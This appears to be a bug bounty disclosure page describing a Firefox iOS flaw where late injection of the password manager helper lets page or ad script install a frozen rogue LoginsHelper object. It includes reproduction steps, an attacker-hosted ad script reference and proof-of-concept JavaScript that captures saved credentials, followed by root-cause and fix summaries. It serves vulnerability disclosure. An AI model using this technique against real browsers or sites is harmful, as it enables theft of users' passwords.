Rogue LoginsHelper (password manager) can be injected by untrusted web contents
The Firefox iOS password manager helper (LoginsHelper) is injected at document end, allowing any web page to define a rogue version of the helper object that intercepts and steals saved credentials. An attacker can inject malicious ad script to steal user IDs and passwords.
Originally disclosed on Mozilla
- Fixed in 43 hours
- Paid in 8 days
- Disclosed after 43 hours
Created attachment 9164918
Demonstrate password stealing attack
User Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.2 Safari/605.1.15
Steps to reproduce:
Any web content can define rogue LoginsHelper (window.__firefox__.logins).
That can be abused for large-scale attacks by injecting malicious ad script to the page for stealing user's IDs and passwords.
(1) Victim visits http://csrf.jp/2020/form.html
(2) Victim enters (any) ID and password and login
(3) Login helper shows the snackbar to ask Victim to save the credentials, then Victim choose "Save Login"
(4) Victim clicks a link that goes to http://csrf.jp/2020/anywhere.html
(5) The above page (anywhere.html) has no HTML form and load Bad Ad script from http://mallory.csrf.jp/2020/bad_ad.js
(6) Bad Ad script defines window.__firefox__,logins object that steals IDs and passwords that were sent from LoginsHelper.swift
(7) All of the user's IDs and passwords are stolen by Bad Ad (see attached video for demonstration).
Actual results:
The reason why legitimate LoginsHelper is overridden is that LoginsHelper.js is injected at the timing of AtDocumentEnd.
https://github.com/mozilla-mobile/firefox-ios/blob/76faae8c6c94e22c8fbc0de72e2d06f615738e2c/Client/Frontend/UserContent/UserScripts/AllFrames/AtDocumentEnd/LoginsHelper.js#L10
WKWebView's JS hook lifecycle is below.
[1] AtDocumentStart -> [2] Load web document -> [3] AtDocumentEnd
In anywhere.html at (4), the page loads a mallicious ad script that contains exploit code.
'''
<!-- Ad -->
<script src="//mallory.csrf.jp/2020/bad_ad.js"></script>
'''
In bad_ad.js at (6) define the mallicius LoginHelper as an immutable object at [2]. So the setting of legitimate helper at [3] is rejected.
'''
function LoginInjector() {
this.inject = function(msg) {
// Steal password here
alert("Hi victim! We got your passwords!");
alert(JSON.stringify(msg));
};
}
Object.defineProperty(window.__firefox__, "logins", {
enumerable: false,
configurable: false,
writable: false,
value: Object.freeze(new LoginInjector())
});
'''
Expected results:
The legitimate LoginsHelper (window.__firefox__.logins) should be set at [1] AtDocumentStart.
If not possible, try to detect whether other helper is already set before, and not filling the ID and password in polluted pages.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the legitimate LoginsHelper is injected at AtDocumentEnd, after web content has already loaded, allowing a malicious script to define an immutable object that overrides it.
Impact
All of the user's IDs and passwords could be stolen by the malicious ad script.
What the attacker needed
Victim uses Firefox iOS; victim saves credentials; victim visits malicious page
The fix
The legitimate LoginsHelper should be set at AtDocumentStart, or if not possible, detect whether another helper is already set and avoid filling credentials on polluted pages.
How it was found
- Victim visits a page with a login form and enters credentials.
- Victim chooses to save the login when prompted.
- Victim clicks a link to another page that loads a malicious ad script.
- The malicious script defines a rogue LoginsHelper object that steals credentials.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A password manager in a browser helps save your login details. This report shows that a malicious website could trick the browser into using a fake password manager, which then steals your saved passwords. The problem is that the real password manager is set up too late, after the page has already loaded, so a bad script can get in first.
What is XSS?
Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.